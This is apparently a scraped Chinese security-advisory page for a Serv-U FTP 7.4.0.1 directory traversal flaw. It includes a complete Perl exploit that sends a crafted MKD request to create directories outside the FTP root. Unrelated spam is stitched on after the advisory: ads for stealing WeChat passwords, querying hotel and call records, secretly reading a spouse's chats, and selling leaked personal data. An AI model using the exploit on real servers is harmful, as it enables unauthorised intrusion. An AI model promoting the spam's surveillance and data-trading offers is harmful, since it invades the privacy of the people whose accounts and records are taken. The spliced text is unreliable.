影响版本:
RhinoSoft Serv-U 7.4.0.1
漏洞描述:
BUGTRAQ ID: 34125
Serv-U FTP是一款FTP服务程序。
如果远程攻击者向Serv-U FTP服务器发送了包含有“\\..”字符序列的MKD请求的话,就可以通过目录遍历攻击绕过FTP root限制在系统上创建任意目录。<*参考
Jonathan Salwan (submit@shell-storm.org)
http://www.sebug.net/exploit/5986/
*>
SEBUG安全建议:
厂商补丁:
RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.serv-u.com/
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";
sleep(3);
close($socket);
print "[+]Done! directory $dir has been created\n";
七天酒店入住记录多久删除(如家酒店入住记录多久删除) 专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!微信算得上目前用户量最大、打开频率最高的软件。不过对于不少用户来讲,微信除...
销售数据分为三部分: 1、我国居民在官网的挂号数据,包含姓名、手机号、邮箱、身份证号、登录暗码等,合计53G开宾馆记录多久消失(开宾馆记录多久清除一次),记载约1.23亿条; 2、酒店入住身份信息...
在自己手机上看老婆跟谁聊天(怎样偷偷接收老婆的微信聊天),婆媳疑问是中国5000年来连续没有办理的永久疑问。我在媳妇和母亲之间摆布尴尬,但也为此蒙受了充足的难受。当我不当心翻开媳妇的手机时,我认识到媳...
在过去的网络聊天模式中,大量的一线婚姻人员和直接信任危机解决了大多数家庭的网络聊天问题,是获得客户和网络聊天方法的主要和最集中的渠道。然而,在当今移动互联网渠道冲击和行业内外竞争加剧的新环境中,一切都...
随着网络的不断发展,智能手机,不断的更新换代得同时出现了不同的系统,例如苹果、安卓系统的,不同的系统使用的方式和软件也是不同的,例如很多软件可以在苹果手机上使用,却不能在安卓手机上使用,在使用手机的过...
今日,鞠婧祎现身猪年春晚第三次联排现场,她身穿白色羽绒服,橙色裤子,非常少女。媒体从春晚知情人士处获悉,此次鞠婧祎首次登上央视春晚舞台,将带来语言类节目。至于节目搭档,记者将持续跟进。鞠婧祎登央视春晚...